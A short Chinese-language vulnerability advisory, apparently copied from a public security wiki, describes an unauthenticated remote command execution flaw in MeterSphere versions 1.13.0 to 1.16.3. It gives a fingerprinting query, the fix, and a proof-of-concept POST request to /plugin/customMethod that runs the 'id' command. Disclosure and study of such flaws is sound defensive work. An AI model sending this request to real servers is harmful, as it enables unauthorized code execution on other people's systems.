MeterSphere customMethod 远程命令执行漏洞
MeterSphere customMethod 远程命令执行漏洞
漏洞描述
2022年1月5日,知道创宇404积极防御实验团队发现了MeterSphere开源持续测试平台的一处漏洞,并向MeterSphere研发团队进行了反馈。通过该漏洞攻击者可以在未授权的情况下执行远程代码,建议MeterSphere平台用户,尤其是可通过公网访问的用户尽快进行升级修复
漏洞影响
MeterSphere v1.13.0 - v1.16.3
网络测绘
app="MeterSphere"
漏洞复现
登录页面

根据官方的修复可以看到目前版本的修复版本为删除代码片段
filterChainDefinitionMap.put("/plugin/**", "anon");
https://github.com/metersphere/metersphere/pull/9140/files

查看文件 /backend/src/main/java/io/metersphere/controller/PluginController.java

发送请求包
POST /plugin/customMethod
{"entry":"Evil","request":"id"}

参考来源:PeiQi-WIKI-Book:https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/f4596359a8b7b31ae4d231eeaec711706b892ed2/docs/wiki/webapp/MeterSphere/MeterSphere customMethod 远程命令执行漏洞.md;原文完整保留。项目要求转载保留版权声明,未经许可不得修改或商用;多篇来源于第三方,权利待核查。